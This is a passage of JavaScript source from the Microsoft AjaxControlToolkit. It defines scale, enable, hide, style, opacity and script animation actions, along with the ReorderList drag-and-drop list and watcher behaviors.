    /// <param name="fps" type="Number" mayBeNull="true" optional="true" integer="true">
    /// Number of steps per second.  The default is 25.
    /// </param>
    /// <param name="scaleFactor" type="Number" mayBeNull="true" optional="true">
    /// The amount to scale the <code>target</code> (a <code>scaleFactor</code> of <code>.5</code> will
    /// shrink it in half and a <code>scaleFactor</code> of <code>2.0</code> will double it). The default value is
    /// <code>1</code>, which does no scaling.
    /// </param>
    /// <param name="unit" type="String" mayBeNull="true" optional="true">
    /// Length unit for the size of the <code>target</code>.  The default value is <code>'px'</code>.
    /// </param>
    /// <param name="center" type="Boolean" mayBeNull="true" optional="true">
    /// Whether the <code>target</code> should stay centered while scaling
    /// </param>
    /// <param name="scaleFont" type="Boolean" mayBeNull="true" optional="true">
    /// Whether the font should be scaled along with the size
    /// </param>
    /// <param name="fontUnit" type="String" mayBeNull="true" optional="true">
    /// Unit of the font, which is only used if <code>scaleFont</code> is <code>true</code>.
    /// The default value is <code>'pt'</code>.
    /// </param>
    /// <animation>Scale</animation>
    $AA.ScaleAnimation.initializeBase(this, [target, duration, fps]);

    // Percentage to scale
    this._scaleFactor = (scaleFactor !== undefined) ? scaleFactor : 1;
    this._unit = (unit !== undefined) ? unit : 'px';
    
    // Center the content while scaling
    this._center = center;
    
    // Scale the font size as well
    this._scaleFont = scaleFont;
    this._fontUnit = (fontUnit !== undefined) ? fontUnit : 'pt';
    
    // Initial values
    this._element = null;
    this._initialHeight = null;
    this._initialWidth = null;
    this._initialTop = null;
    this._initialLeft = null;
    this._initialFontSize = null;
}
$AA.ScaleAnimation.prototype = {    
    getAnimatedValue : function(percentage) {
        /// <summary>
        /// Get the amount to scale the <code>target</code>
        /// </summary>
        /// <param name="percentage" type="Number">
        /// Percentage of the animation already complete
        /// </param>
        /// <returns type="Number">
        /// Percentage to scale the <code>target</code>
        /// </returns>
        return this.interpolate(1.0, this._scaleFactor, percentage);
    },
    
    onStart : function() {
        /// <summary>
        /// Cache the initial size because it will be used to determine how much to scale the element at each step of the animation
        /// </summary>
        /// <returns />
        $AA.ScaleAnimation.callBaseMethod(this, 'onStart');
        
        this._element = this.get_target();
        if (this._element) {
            this._initialHeight = this._element.offsetHeight;
            this._initialWidth = this._element.offsetWidth;
            if (this._center) {
                this._initialTop = this._element.offsetTop;
                this._initialLeft = this._element.offsetLeft;
            }
            if (this._scaleFont) {
                // Note: we're assuming this is in the same units as fontUnit
                this._initialFontSize = parseFloat(
                    $common.getCurrentStyle(this._element, 'fontSize'));
            }
        }
    },
    
    setValue : function(scale) {
        /// <summary>
        /// Scale the <code>target</code> by the given percentage
        /// </summary>
        /// <param name="scale" type="Number">
        /// Percentage to scale the <code>target</code>
        /// </param>
        /// <returns />

        if (this._element) {
            var width = Math.round(this._initialWidth * scale);
            var height = Math.round(this._initialHeight * scale);
            this._element.style.width = width + this._unit; 
            this._element.style.height = height + this._unit;
            
            if (this._center) {
                this._element.style.top = (this._initialTop +
                    Math.round((this._initialHeight - height) / 2)) + this._unit;
                this._element.style.left = (this._initialLeft +
                    Math.round((this._initialWidth - width) / 2)) + this._unit;
            }
            
            if (this._scaleFont) {
                var size = this._initialFontSize * scale;
                if (this._fontUnit == 'px' || this._fontUnit == 'pt') {
                    size = Math.round(size);
                }
                this._element.style.fontSize = size + this._fontUnit;
            }
        }
    },
    
    onEnd : function() {
        /// <summary>
        /// Wipe the cached values after the animation completes
        /// </summary>
        /// <returns />

        this._element = null;
        this._initialHeight = null;
        this._initialWidth = null;
        this._initialTop = null;
        this._initialLeft = null;
        this._initialFontSize = null;
        $AA.ScaleAnimation.callBaseMethod(this, 'onEnd');
    },
    
    get_scaleFactor : function() {
        /// <value type="Number">
        /// The amount to scale the <code>target</code> (a <code>scaleFactor</code> of <code>.5</code> will
        /// shrink it in half and a <code>scaleFactor</code> of <code>2.0</code> will double it). The default value is
        /// <code>1</code>, which does no scaling.
        /// </value>

        return this._scaleFactor;
    },
    set_scaleFactor : function(value) {
        value = this._getFloat(value);
        if (this._scaleFactor != value) {
            this._scaleFactor = value;
            this.raisePropertyChanged('scaleFactor');
        }
    },
    
    get_unit : function() {
        /// <value type="String">
        /// Length unit for the size of the <code>target</code>.  The default value is <code>'px'</code>.
        /// </value>
        return this._unit;
    },
    set_unit : function(value) {
        if (this._unit != value) {
            this._unit = value;
            this.raisePropertyChanged('unit');
        }
    },
    
    get_center : function() {
        /// <value type="Boolean">
        /// Whether the <code>target</code> should stay centered while scaling
        /// </value>
        return this._center;
    },
    set_center : function(value) {
        value = this._getBoolean(value);
        if (this._center != value) {
            this._center = value;
            this.raisePropertyChanged('center');
        }
    },
    
    get_scaleFont : function() {
        /// <value type="Boolean">
        /// Whether the font should be scaled along with the size
        /// </value>
        return this._scaleFont;
    },
    set_scaleFont : function(value) {
        value = this._getBoolean(value);
        if (this._scaleFont != value) {
            this._scaleFont = value;
            this.raisePropertyChanged('scaleFont');
        }
    },
    
    get_fontUnit : function() {
        /// <value type="String">
        /// Unit of the font, which is only used if <code>scaleFont</code> is <code>true</code>.
        /// The default value is <code>'pt'</code>.
        /// </value>
        return this._fontUnit;
    },
    set_fontUnit : function(value) {
        if (this._fontUnit != value) { 
            this._fontUnit = value; 
            this.raisePropertyChanged('fontUnit');
        }
    }
}
$AA.ScaleAnimation.registerClass('AjaxControlToolkit.Animation.ScaleAnimation', $AA.Animation);
$AA.registerAnimation('scale', $AA.ScaleAnimation);


$AA.Action = function(target, duration, fps) {
    /// <summary>
    /// <code>Action</code> is a base class for all "non-animating" animations that provides empty implementations
    /// for abstract methods and adds a <code>doAction</code> method that will be called to perform the action's
    /// operation.  While regular animations perform an operation in a sequence of small steps spread over an interval,
    /// the actions perform a single operation instantaneously.  By default, all actions have a <code>duration</code>
    /// of zero.  The actions are very useful for defining complex animations.
    /// </summary>
    /// <param name="target" type="Sys.UI.DomElement" mayBeNull="true" optional="true" domElement="true">
    /// Target of the animation
    /// </param>
    /// <param name="duration" type="Number" mayBeNull="true" optional="true">
    /// Length of the animation in seconds.  The default is 0.
    /// </param>
    /// <param name="fps" type="Number" mayBeNull="true" optional="true" integer="true">
    /// Number of steps per second.  The default is 25.
    /// </param>
    /// <animation>Action</animation>
    $AA.Action.initializeBase(this, [target, duration, fps]);

    // Set the duration to 0 if it wasn't specified
    if (duration === undefined) {
        this.set_duration(0);
    }
}
$AA.Action.prototype = {
    
    onEnd : function() {
        /// <summary>
        /// Call the <code>doAction</code> method when the animation completes
        /// </summary>
        /// <returns />
        this.doAction();
        $AA.Action.callBaseMethod(this, 'onEnd');
    },
    
    doAction : function() {
        /// <summary>
        /// The <code>doAction</code> method must be implemented by all actions
        /// </summary>
        /// <returns />
        throw Error.notImplemented();
    },
    
    getAnimatedValue : function() {
        /// <summary>
        /// Empty implementation of required abstract method
        /// </summary>
    },
    setValue : function() {
        /// <summary>
        /// Empty implementation of required abstract method
        /// </summary>
    }
}
$AA.Action.registerClass('AjaxControlToolkit.Animation.Action', $AA.Animation);
$AA.registerAnimation('action', $AA.Action);


$AA.EnableAction = function(target, duration, fps, enabled) {
    /// <summary>
    /// The <code>EnableAction</code> changes whether or not the <code>target</code> is disabled.
    /// </summary>
    /// <param name="target" type="Sys.UI.DomElement" mayBeNull="true" optional="true" domElement="true">
    /// Target of the animation
    /// </param>
    /// <param name="duration" type="Number" mayBeNull="true" optional="true">
    /// Length of the animation in seconds.  The default is 0.
    /// </param>
    /// <param name="fps" type="Number" mayBeNull="true" optional="true" integer="true">
    /// Number of steps per second.  The default is 25.
    /// </param>
    /// <param name="enabled" type="Boolean" mayBeNull="true" optional="true">
    /// Whether or not the <code>target</code> is disabled. The default value is <code>true</code>.
    /// </param>
    /// <animation>EnableAction</animation>
    $AA.EnableAction.initializeBase(this, [target, duration, fps]);

    // Whether to enable or disable
    this._enabled = (enabled !== undefined) ? enabled : true;
}
$AA.EnableAction.prototype = {
    doAction : function() {
    	/// <summary>
        /// Set the enabled property of the <code>target</code>
    	/// </summary>
    	/// <returns />
    	
        var element = this.get_target();
        if (element) {
            element.disabled = !this._enabled;
        }
    },
    
    get_enabled : function() {
        /// <value type="Boolean">
        /// Whether or not the <code>target</code> is disabled. The default value is <code>true</code>.
        /// </value>
        return this._enabled;
    },
    set_enabled : function(value) {
        value = this._getBoolean(value);
        if (this._enabled != value) {
            this._enabled = value;
            this.raisePropertyChanged('enabled');
        }
    }
}
$AA.EnableAction.registerClass('AjaxControlToolkit.Animation.EnableAction', $AA.Action);
$AA.registerAnimation('enableAction', $AA.EnableAction);


$AA.HideAction = function(target, duration, fps, visible) {
    /// <summary>
    /// The <code>HideAction</code> simply hides the <code>target</code> from view
    /// (by setting its style's <code>display</code> attribute to <code>'none'</code>)
    /// </summary>
    /// <param name="target" type="Sys.UI.DomElement" mayBeNull="true" optional="true" domElement="true">
    /// Target of the animation
    /// </param>
    /// <param name="duration" type="Number" mayBeNull="true" optional="true">
    /// Length of the animation in seconds.  The default is 0.
    /// </param>
    /// <param name="fps" type="Number" mayBeNull="true" optional="true" integer="true">
    /// Number of steps per second.  The default is 25.
    /// </param>
    /// <param name="visible" type="Boolean" mayBeNull="False">
    /// True to show the target, false to hide it.  The default value is false.
    /// </param>
    /// <animation>HideAction</animation>
    $AA.HideAction.initializeBase(this, [target, duration, fps]);

    this._visible = visible;
}
$AA.HideAction.prototype = {
    doAction : function() {
        /// <summary>
        /// Hide the <code>target</code>
        /// </summary>
        /// <returns />
        var element = this.get_target();
        if (element) {
            $common.setVisible(element, this._visible);
        }
    },
    
    get_visible : function() {
        /// <value type="Boolean" mayBeNull="False">
        /// True to show the target, false to hide it.  The default value is false.
        /// </value>
        return this._visible;
    },
    set_visible : function(value) {
        if (this._visible != value) {
            this._visible = value;
            this.raisePropertyChanged('visible');
        }
    }
}
$AA.HideAction.registerClass('AjaxControlToolkit.Animation.HideAction', $AA.Action);
$AA.registerAnimation('hideAction', $AA.HideAction);


$AA.StyleAction = function(target, duration, fps, attribute, value) {
    /// <summary>
    /// The <code>StyleAction<code> is used to set a particular <code>attribute</code> of the <code>target</code>'s style
    /// </summary>
    /// <param name="target" type="Sys.UI.DomElement" mayBeNull="true" optional="true" domElement="true">
    /// Target of the animation
    /// </param>
    /// <param name="duration" type="Number" mayBeNull="true" optional="true">
    /// Length of the animation in seconds.  The default is 0.
    /// </param>
    /// <param name="fps" type="Number" mayBeNull="true" optional="true" integer="true">
    /// Number of steps per second.  The default is 25.
    /// </param>
    /// <param name="attribute" type="String" mayBeNull="true" optional="true">
    /// Style attribute to set (this must be in a JavaScript friendly format, i.e. <code>backgroundColor</code>
    /// instead of <code>background-color</code>)
    /// </param>
    /// <param name="value" type="String" mayBeNull="true" optional="true">
    /// Value to set the <code>attribute</code>
    /// </param>
    /// <animation>StyleAction</animation>
    $AA.StyleAction.initializeBase(this, [target, duration, fps]);

    // Style attribute (like "backgroundColor" or "borderWidth"
    this._attribute = attribute;
    
    // Value to assign to the style attribute
    this._value = value;
    
}
$AA.StyleAction.prototype = {
    doAction : function() {
    	/// <summary>
        /// Assign the <code>value</code> to the style's <code>attribute</code>
    	/// </summary>
    	/// <returns />
        var element = this.get_target();
        if (element) {
            element.style[this._attribute] = this._value;
        }
    },
    
    get_attribute : function() {
        /// <value type="String">
        /// Style attribute to set (this must be in a JavaScript friendly format, i.e. <code>backgroundColor</code>
        /// instead of <code>background-color</code>)
        /// </value>
        return this._attribute;
    },
    set_attribute : function(value) {
        if (this._attribute != value) {
            this._attribute = value;
            this.raisePropertyChanged('attribute');
        }
    },
    
    get_value : function() {
        /// <value type="String">
        /// Value to set the <code>attribute</code>
        /// </value>
        return this._value;
    },
    set_value : function(value) {
        if (this._value != value) {
            this._value = value;
            this.raisePropertyChanged('value');
        }
    }
}
$AA.StyleAction.registerClass('AjaxControlToolkit.Animation.StyleAction', $AA.Action);
$AA.registerAnimation('styleAction', $AA.StyleAction);


$AA.OpacityAction = function(target, duration, fps, opacity) {
    /// <summary>
    /// <code>OpacityAction</code> allows you to set the <code>opacity</code> of the <code>target</code>
    /// </summary>
    /// <param name="target" type="Sys.UI.DomElement" mayBeNull="true" optional="true" domElement="true">
    /// Target of the animation
    /// </param>
    /// <param name="duration" type="Number" mayBeNull="true" optional="true">
    /// Length of the animation in seconds.  The default is 0.
    /// </param>
    /// <param name="fps" type="Number" mayBeNull="true" optional="true" integer="true">
    /// Number of steps per second.  The default is 25.
    /// </param>
    /// <param name="opacity" type="Number" mayBeNull="true" optional="true">
    /// Opacity to set the <code>target</code>
    /// </param>
    /// <animation>OpacityAction</animation>
    $AA.OpacityAction.initializeBase(this, [target, duration, fps]);
    
    // Opacity
    this._opacity = opacity;
}
$AA.OpacityAction.prototype = {
    doAction : function() {
    	/// <summary>
        /// Set the opacity
    	/// </summary>
    	/// <returns />
        var element = this.get_target();
        if (element) {
            $common.setElementOpacity(element, this._opacity);
        }
    },
    
    get_opacity : function() {
        /// <value type="Number">
        /// Opacity to set the <code>target</code>
        /// </value>
        return this._opacity;
    },
    set_opacity : function(value) {
        value = this._getFloat(value);
        if (this._opacity != value) {
            this._opacity = value;
            this.raisePropertyChanged('opacity');
        }
    }
}
$AA.OpacityAction.registerClass('AjaxControlToolkit.Animation.OpacityAction', $AA.Action);
$AA.registerAnimation('opacityAction', $AA.OpacityAction);


$AA.ScriptAction = function(target, duration, fps, script) {
    /// <summary>
    /// The <code>ScriptAction</code> is used to execute arbitrary JavaScript
    /// </summary>
    /// <param name="target" type="Sys.UI.DomElement" mayBeNull="true" optional="true" domElement="true">
    /// Target of the animation
    /// </param>
    /// <param name="duration" type="Number" mayBeNull="true" optional="true">
    /// Length of the animation in seconds.  The default is 0.
    /// </param>
    /// <param name="fps" type="Number" mayBeNull="true" optional="true" integer="true">
    /// Number of steps per second.  The default is 25.
    /// </param>
    /// <param name="script" type="String" mayBeNull="true" optional="true">
    /// JavaScript to execute
    /// </param>
    /// <animation>ScriptAction</animation>
    $AA.ScriptAction.initializeBase(this, [target, duration, fps]);

    // Script to execute
    this._script = script;
}
$AA.ScriptAction.prototype = {
    doAction : function() {
    	/// <summary>
        /// Execute the script
    	/// </summary>
    	/// <returns />
        try {
            eval(this._script);
        } catch (ex) {
        }
    },
    
    get_script : function() {
        /// <value type="String">
        /// JavaScript to execute
        /// </value>
        return this._script;
    },
    set_script : function(value) {
        if (this._script != value) {
            this._script = value;
            this.raisePropertyChanged('script');
        }
    }
}
$AA.ScriptAction.registerClass('AjaxControlToolkit.Animation.ScriptAction', $AA.Action);
$AA.registerAnimation('scriptAction', $AA.ScriptAction);
~// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Common/Common.js" />
/// <reference path="../Compat/Timer/Timer.js" />
/// <reference path="../Compat/DragDrop/DragDropScripts.js" />


// This behavior exists to trap a drop on the list.  When an item is dropped,
// this behavior owns firing the postback so the server-side ReorderList control knows it happened.

Type.registerNamespace('AjaxControlToolkit');


AjaxControlToolkit.RepeatDirection = function() {
    throw Error.invalidOperation();
}
AjaxControlToolkit.RepeatDirection.prototype = {
    Vertical: 0,
    Horizontal: 1
}
AjaxControlToolkit.RepeatDirection.registerEnum('AjaxControlToolkit.RepeatDirection');



AjaxControlToolkit.DragDropList = function(associatedElement) {
    AjaxControlToolkit.DragDropList.initializeBase(this, [associatedElement]);
    
    this._acceptedDataTypes = [];
    
    this._isDragging = null;
    
    this._dataType = null;
    this._dragMode = AjaxControlToolkit.DragMode.Move;
    this._dragVisual = null;
    this._direction = AjaxControlToolkit.RepeatDirection.Vertical;
    
    this._emptyTemplate = null;
    this._emptyTemplateInstance = null;
    this._dropCueTemplate = null;
    this._dropCueTemplateInstance = null;
    this._floatContainerInstance = null;
    
    this._originalParent = null;
    this._originalNextSibling = null;
    this._originalZIndex = null;
    
    this._currentContext = null;
    this._data = null;   
    
}

AjaxControlToolkit.DragDropList.IsValidDataType = function(dataType) {
    if (dataType && typeof(dataType) == 'string' && dataType.length >= 4) {
        return dataType.substring(0, 4) === "HTML";                        
    }
    return false;
}    

AjaxControlToolkit.DragDropList.prototype = {
    get_data: function() {
        return this._data;
    },
    
    set_data: function(value) {
        this._data = value;
    },
    
    initialize: function() {
        AjaxControlToolkit.DragDropList.callBaseMethod(this, 'initialize');
        this.get_element().__dragDropList = this;
        AjaxControlToolkit.DragDropManager.registerDropTarget(this);
    },
    
    // -- IDragSource (related) members --
    
    startDragDrop: function(dragObject, context, dragVisual) {
        if (!this._isDragging) {
            this._isDragging = true;
            this._currentContext = context;
            if (!dragVisual) {
                dragVisual = this.createDragVisual(dragObject);
                //DEBUG debug.trace("Using default drag visual.");
            }
            else {
                this._dragVisual = dragVisual;
                //DEBUG debug.trace("Using user-specified drag visual.");
            }
            AjaxControlToolkit.DragDropManager.startDragDrop(this, dragVisual, context, !(Sys.Browser.agent == Sys.Browser.InternetExplorer && Sys.Browser.version > 7 && Sys.Browser.documentMode != 0));
        }
        
    },
    
    createDragVisual: function(dragObject) {
        if (this._dragMode === AjaxControlToolkit.DragMode.Copy) {
            this._dragVisual = dragObject.cloneNode(true);
        }
        else {
            this._dragVisual = dragObject;
        }
        
        var oldOffset = AjaxControlToolkit.DragDropManager._getInstance().getScrollOffset(dragObject, true);
                
        this._dragVisual.preDragWidth = this._dragVisual.style.width;
        this._dragVisual.preDragHeight = this._dragVisual.style.height;
        
        this._dragVisual.style.width = dragObject.offsetWidth + "px";
        this._dragVisual.style.height = dragObject.offsetHeight + "px";
        
        this._dragVisual.style.opacity = "0.4";
        this._dragVisual.style.filter = "progid:DXImageTransform.Microsoft.BasicImage(opacity=0.4);";
        this._originalZIndex = this._dragVisual.style.zIndex;
        this._dragVisual.style.zIndex = 99999;
        
        this._originalParent = this._dragVisual.parentNode;
        this._originalNextSibling = AjaxControlToolkit.DragDropManager._getInstance().getNextSibling(this._dragVisual);
        
        var currentLocation = $common.getLocation(dragObject);
        
        // Store the drag object in a temporary container to make it self-contained.
        var dragVisualContainer = this._getFloatContainer();
        $common.setLocation(dragVisualContainer, currentLocation);
        
        if (AjaxControlToolkit.DragDropManager._getInstance().hasParent(this._dragVisual)) {
            this._dragVisual.parentNode.removeChild(this._dragVisual);
        }
        dragVisualContainer.appendChild(this._dragVisual);
        
        var newOffset = AjaxControlToolkit.DragDropManager._getInstance().getScrollOffset(dragObject, true);
        if (oldOffset.x !== newOffset.x || oldOffset.y !== newOffset.y) {
            var diff = AjaxControlToolkit.DragDropManager._getInstance().subtractPoints(oldOffset, newOffset);
            var location = AjaxControlToolkit.DragDropManager._getInstance().subtractPoints(currentLocation, diff);
            $common.setLocation(dragVisualContainer, location);
        }
        
        return dragVisualContainer;
    },
    
    get_emptyTemplate: function() {
        return this._emptyTemplate;
    },
    
    set_emptyTemplate: function(value) {
        this._emptyTemplate = value;
    },
    
    // Type get_dragDataType()
    get_dragDataType: function() {
        return this._dataType;
    },
    set_dragDataType: function(value) {
        this._dataType = value;
    },
    
    // Object getDragData(Context)
    getDragData: function(context) {
        return context;
    },
    
    // DragMode get_dragMode()
    get_dragMode: function() {
        return this._dragMode;
    },
    set_dragMode: function(value) {
        this._dragMode = value;
    },
    
    dispose: function() {
        AjaxControlToolkit.DragDropManager.unregisterDropTarget(this);
        this.get_element().__dragDropList = null;
        AjaxControlToolkit.DragDropList.callBaseMethod(this, 'dispose');
    },
    
    // void onDragStart()
    onDragStart: function() {
        this._validate();
    },
    
    // void onDrag()
    onDrag: function() {
        //
    },
    
    // void onDragEnd(Cancelled)
    onDragEnd: function(cancelled) {
        if (this._floatContainerInstance) {
            if (this._dragMode === AjaxControlToolkit.DragMode.Copy) {
                this._floatContainerInstance.removeChild(this._dragVisual);
            }
            else {
                // NOTE: There seems to be a cursor issue in Mozilla when setting the opacity to 1. We 
                // can work around this by setting the opacity to anything lower than 1 instead.
                this._dragVisual.style.opacity = "0.999";
                //_dragVisual.style.opacity = "1";
                this._dragVisual.style.filter = "";
                
                this._dragVisual.style.zIndex = this._originalZIndex ? this._originalZIndex : 0;
                
                // restore the height/width of the drag visual.
                //
                if (this._dragVisual.preDragWidth != null) {
                    this._dragVisual.style.width = this._dragVisual.preDragWidth;
                    this._dragVisual.preDragWidth = null;
                }
                
                if (this._dragVisual.preDragHeight != null) {
                    this._dragVisual.style.height = this._dragVisual.preDragHeight;
                    this._dragVisual.preDragHeight = null;
                }        
            
                if (cancelled) {
                    // Re-parent the drag visual to its original position.
                    this._dragVisual.parentNode.removeChild(this._dragVisual);
                    if (this._originalNextSibling != null) {
                        this._originalParent.insertBefore(this._dragVisual, this._originalNextSibling);
                    }
                    else {
                        this._originalParent.appendChild(this._dragVisual);
                    }
                }
                else {
                    if (this._dragVisual.parentNode === this._floatContainerInstance) {
                        this._dragVisual.parentNode.removeChild(this._dragVisual);
                    }
                }
            }
            
            // Remove the container.
            document.body.removeChild(this._floatContainerInstance);
        }
        else {
            this._dragVisual.parentNode.removeChild(this._dragVisual);
        }
        
        if (!cancelled && this._data && this._dragMode === AjaxControlToolkit.DragMode.Move) {
            var data = this.getDragData(this._currentContext);
            if (this._data && data) {
                Array.remove(this._data, data);
            }
        }
        
        this._isDragging = false;
        this._validate();
    },
    
    // -- IDropTarget (related) members --
    
    get_direction: function() {
        return this._direction;
    },
    
    set_direction: function(value) {
        this._direction = value;
    },
    
    get_acceptedDataTypes: function() {
        return this._acceptedDataTypes;
    },
    
    set_acceptedDataTypes: function(value) {
        
        if (typeof(value) == "string") {
            this._acceptedDataTypes = value.split(",");
        }
        else {
            this._acceptedDataTypes = value;
        }
    },
    
    get_dropCueTemplate: function() {
        return this._dropCueTemplate;
    },
    
    set_dropCueTemplate: function(value) {
        this._dropCueTemplate = value;
    },

    get_dropTargetElement: function() {
        return this.get_element();
    },
    
    // bool canDrop(DragMode, DataType, Data)
    canDrop: function(dragMode, dataType, data) {
        for (var i = 0; i < this._acceptedDataTypes.length; i++) {
            if (this._acceptedDataTypes[i] === dataType) {
                return true;
            }
        }
        
        return false;
    },
    
    // void drop(DragMode, DataType, Data)
    drop: function(dragMode, dataType, data) {
        if (AjaxControlToolkit.DragDropList.IsValidDataType(dataType) && dragMode === AjaxControlToolkit.DragMode.Move) {
            // Re-parent the drag visual.
            dragVisual = data;
            
            var potentialNextSibling = this._findPotentialNextSibling(dragVisual);
            this._setDropCueVisible(false, dragVisual);
            dragVisual.parentNode.removeChild(dragVisual);
            if (potentialNextSibling) {
                this.get_element().insertBefore(dragVisual, potentialNextSibling);
            }
            else {
                this.get_element().appendChild(dragVisual);
            }
        }
        else {
            this._setDropCueVisible(false);
        }
    },
    
    // void onDragEnterTarget(DragMode, DataType, Data)
    onDragEnterTarget: function(dragMode, dataType, data) {
        if (AjaxControlToolkit.DragDropList.IsValidDataType(dataType)) {
            this._setDropCueVisible(true, data);
            this._validate();
        }
    },
    
    // void onDragLeaveTarget(DragMode, DataType, Data)
    onDragLeaveTarget: function(dragMode, dataType, data) {
        if (AjaxControlToolkit.DragDropList.IsValidDataType(dataType)) {
            this._setDropCueVisible(false);
            this._validate();
        }
    },
    
    // void onDragInTarget(DragMode, DataType, Data)
    onDragInTarget: function(dragMode, dataType, data) {
        if (AjaxControlToolkit.DragDropList.IsValidDataType(dataType)) {
            this._setDropCueVisible(true, data);
        }
    },
    
    _setDropCueVisible: function(visible, dragVisual) {
        if (this._dropCueTemplate) {
            if (visible) {
                if (!this._dropCueTemplateInstance) {
                    var documentContext = document.createDocumentFragment();
                    this._dropCueTemplateInstance = this._dropCueTemplate.cloneNode(true);
                }
                
                var potentialNextSibling = this._findPotentialNextSibling(dragVisual);
                
                if (!AjaxControlToolkit.DragDropManager._getInstance().hasParent(this._dropCueTemplateInstance)) {
                    // Add drop cue.
                    if (potentialNextSibling) {
                        this.get_element().insertBefore(this._dropCueTemplateInstance, potentialNextSibling);
                    }
                    else {
                        this.get_element().appendChild(this._dropCueTemplateInstance);
                    }
                        
                    this._dropCueTemplateInstance.style.width = dragVisual.offsetWidth + "px";
                    this._dropCueTemplateInstance.style.height = dragVisual.offsetHeight + "px";
                }
                else {
                    // Move drop cue.
                    if (AjaxControlToolkit.DragDropManager._getInstance().getNextSibling(this._dropCueTemplateInstance) !== potentialNextSibling) {
                        this.get_element().removeChild(this._dropCueTemplateInstance);
                        if (potentialNextSibling) {
                            this.get_element().insertBefore(this._dropCueTemplateInstance, potentialNextSibling);
                        }
                        else {
                            this.get_element().appendChild(this._dropCueTemplateInstance);
                        }
                    }
                }
            }
            else {
                if (this._dropCueTemplateInstance && AjaxControlToolkit.DragDropManager._getInstance().hasParent(this._dropCueTemplateInstance)) {
                    this.get_element().removeChild(this._dropCueTemplateInstance);
                }
            }
        }
    },
    
    _findPotentialNextSibling: function(dragVisual) {
        var dragVisualRect = $common.getBounds(dragVisual);
        var isVertical = (this._direction === 0 /*AjaxControlToolkit.RepeatDirection.Vertical*/);
        var nodeRect;
        for (var node = this.get_element().firstChild; node !== null; node = node.nextSibling) {
            if (node.innerHTML && node !== this._dropCueTemplateInstance && node !== this._emptyTemplateInstance) {
                nodeRect = $common.getBounds(node);
                if ((!isVertical && dragVisualRect.x <= nodeRect.x) || (isVertical && dragVisualRect.y <= nodeRect.y)) {
                    return node;
                }
            }
        }
        
        return null;
    },
    
    _validate: function() {
        var visible = (this._dropCueTemplateInstance == null || !AjaxControlToolkit.DragDropManager._getInstance().hasParent(this._dropCueTemplateInstance));

        // Check if there are draggables left in this host. If not, display a placeholder.
        var count = 0;
        for (var node = this.get_element().firstChild; node !== null; node = node.nextSibling) {
            if (node.innerHTML && node !== this._emptyTemplateInstance && node !== this._dropCueTemplateInstance) {
                count++;
            }
        }
        
        if (count > 0) {
            visible = false;
        }
        this._setEmptyTemplateVisible(visible);
    },
    
    _setEmptyTemplateVisible: function(visible) {
        if (this._emptyTemplate) {
            if (visible) {
                if (!this._emptyTemplateInstance) {
                    this._emptyTemplateInstance = this._emptyTemplate.createInstance(this.get_element()).instanceElement;
                }
                else if (!AjaxControlToolkit.DragDropManager._getInstance().hasParent(this._emptyTemplateInstance)) {
                    this.get_element().appendChild(this._emptyTemplateInstance);
                }
            }
            else {
                if (this._emptyTemplateInstance && AjaxControlToolkit.DragDropManager._getInstance().hasParent(this._emptyTemplateInstance)) {
                    this.get_element().removeChild(this._emptyTemplateInstance);
                }
            }
        }
    },
    
    _getFloatContainer: function() {
        if (!this._floatContainerInstance) {
            this._floatContainerInstance = document.createElement(this.get_element().tagName);
            var none = "0px 0px 0px 0px";
            this._floatContainerInstance.style.position = "absolute";
            this._floatContainerInstance.style.padding = none;
            this._floatContainerInstance.style.margin = none;
            this._floatContainerInstance.className = 'dragVisualContainer';
            document.body.appendChild(this._floatContainerInstance);
        }
        else if (!AjaxControlToolkit.DragDropManager._getInstance().hasParent(this._floatContainerInstance)) {
            document.body.appendChild(this._floatContainerInstance);
        }
        
        return this._floatContainerInstance;
    }
}
//AjaxControlToolkit.DragDropList.descriptor = {
//    properties: [   {name: 'acceptedDataTypes', type: Array},
//                    {name: 'data', type: Object},
//                    {name: 'dragDataType', type: String},
//                    {name: 'emptyTemplate', type: AjaxControlToolkit.ITemplate},
//                    {name: 'dropCueTemplate', type: AjaxControlToolkit.ITemplate},
//                    {name: 'dropTargetElement', type: Object, readOnly: true},
//                    {name: 'direction', type: AjaxControlToolkit.RepeatDirection},
//                    {name: 'dragMode', type: AjaxControlToolkit.DragMode} ]
//}
AjaxControlToolkit.DragDropList.registerClass('AjaxControlToolkit.DragDropList', AjaxControlToolkit.BehaviorBase, AjaxControlToolkit.IDragSource, AjaxControlToolkit.IDropTarget, Sys.IDisposable);


function callbackSuccessStub(response, context) {

    var contextSplit = context.split(":");

    var id = contextSplit[0];
    var obj = $find(id);      
        
    if (obj) {
        obj._onCallbackSuccess(response, contextSplit[1]);
    }
}

function callbackErrorStub(response, context) {
    
    var contextSplit = context.split(":");

    var id = contextSplit[0];
    var obj = $find(id);      
    alert('error');
    if (obj) {
        obj._onCallbackError(response, contextSplit[1]);
    }
}

AjaxControlToolkit.DragDropWatcher = function(e) {
    AjaxControlToolkit.DragDropWatcher.initializeBase(this, [e]);
    
    this._childList = new Array();
    this._inProgressDrops = new Object();
    
    this._postbackCode = null;
    this._callbackCssStyle = null;

    this._argReplaceString = null;
    this._argContextString = null;
    this._argErrorString = null;
    this._argSuccessString = null;
}
    
AjaxControlToolkit.DragDropWatcher.prototype = {    
    dispose : function() {
        AjaxControlToolkit.DragDropWatcher.callBaseMethod(this, 'dispose');  
        
            },
    
    initialize : function() {
        AjaxControlToolkit.DragDropWatcher.callBaseMethod(this, 'initialize');        
        
        this._saveChildOrder();
    },

//    getDescriptor : function() {
//        // set up our properties
//        //
//        var td = AjaxControlToolkit.DragDropWatcher.callBaseMethod(this, 'getDescriptor');
//        
//        td.addProperty("postbackCode", String);
//        td.addProperty("argReplaceString", String);
//        td.addProperty("argContextString", String);
//        td.addProperty("argSuccessString", String);
//        td.addProperty("argErrorString", String);
//        td.addProperty("callbackCssStyle", String);
//        
//        td.addEvent("reorderComplete", true);
//        
//        return td;
//    }
    
    add_reorderComplete : function(handler) {
        
        this.get_events().addHandler("reorderComplete", handler);
    },
    
    remove_reorderComplete : function(handler) {
    
        this.get_events().removeHandler("reorderComplete", handler);
    
    },
    
    raiseReorderComplete : function() {
    
        var handler = this.get_events().getHandler("reorderComplete");
        if (handler) {
            handler(this, Sys.EventArgs.Empty);
        }
    },
    
